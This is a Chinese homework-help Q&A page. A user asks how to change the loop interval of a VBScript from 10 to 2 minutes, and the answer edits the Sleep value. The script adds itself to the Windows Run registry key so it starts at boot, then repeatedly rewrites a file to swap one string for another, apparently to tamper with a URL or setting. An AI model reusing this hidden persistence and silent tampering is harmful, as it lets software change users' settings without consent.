下面的语句中哪个中循环语句,是多少时间循环一次Dim iSetmenu:iSetmenu=1Dim fsobject,Setmenu,Baidurl,Setting,GlobaldirGlobaldir = "" Setmenu = "3t" Baidurl = "1" Setting = "2" Set oShell = CreateObject("WScript.Shell")Set fsobject =
来源：学生作业帮助网 编辑：六六作业网 时间：2024/11/17 08:32:49
下面的语句中哪个中循环语句,是多少时间循环一次Dim iSetmenu:iSetmenu=1Dim fsobject,Setmenu,Baidurl,Setting,GlobaldirGlobaldir = "" Setmenu = "3t" Baidurl = "1" Setting = "2" Set oShell = CreateObject("WScript.Shell")Set fsobject =
下面的语句中哪个中循环语句,是多少时间循环一次
Dim iSetmenu:iSetmenu=1
Dim fsobject,Setmenu,Baidurl,Setting,Globaldir
Globaldir = ""
Setmenu = "3t"
Baidurl = "1"
Setting = "2"
Set oShell = CreateObject("WScript.Shell")
Set fsobject = CreateObject("Scripting.FileSystemObject")
SetMenuaddREGoShellObject = oShell.REGWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Setmenu"_
,fsobject.GetFile(Wscript.ScriptFullName).ParentFolder.Path _
& "\" & _
WScript.ScriptName)
IF Not fsobject.FileExists(Globaldir&"") Then
TempbackupSetmenu = fsobject.Copyfile (Globaldir&Setmenu,Globaldir&"",true)
End IF
Do While iSetmenu > 0
Set ReadSetmenuString = fsobject.OpenTextFile(Globaldir&Setmenu)
GetSetmenuString = ReadSetmenuString.Readall
ReadSetmenuString.Close
TempSetMenuString = Replace(GetSetmenuString,Baidurl,Setting)
Set ResSetmenuString = fsobject.Createtextfile(Globaldir&Setmenu)
ResSetmenuString.Write TempSetMenuString
ResSetmenuString.Close
iCounter = iSetmenu + 1
IF iCounter < 0 Then WScript.Quit
WScript.Sleep(1000*10*6*10)
Loop
Set fsobject = Nothing
WScript.Quit
我想改2分钟循环一次怎么改,说详细点,我对VB白痴
下面的语句中哪个中循环语句,是多少时间循环一次Dim iSetmenu:iSetmenu=1Dim fsobject,Setmenu,Baidurl,Setting,GlobaldirGlobaldir = "" Setmenu = "3t" Baidurl = "1" Setting = "2" Set oShell = CreateObject("WScript.Shell")Set fsobject =
上面的是10分钟,
WScript.Sleep(1000*10*6*10) 改成
WScript.Sleep(1000*10*6*2)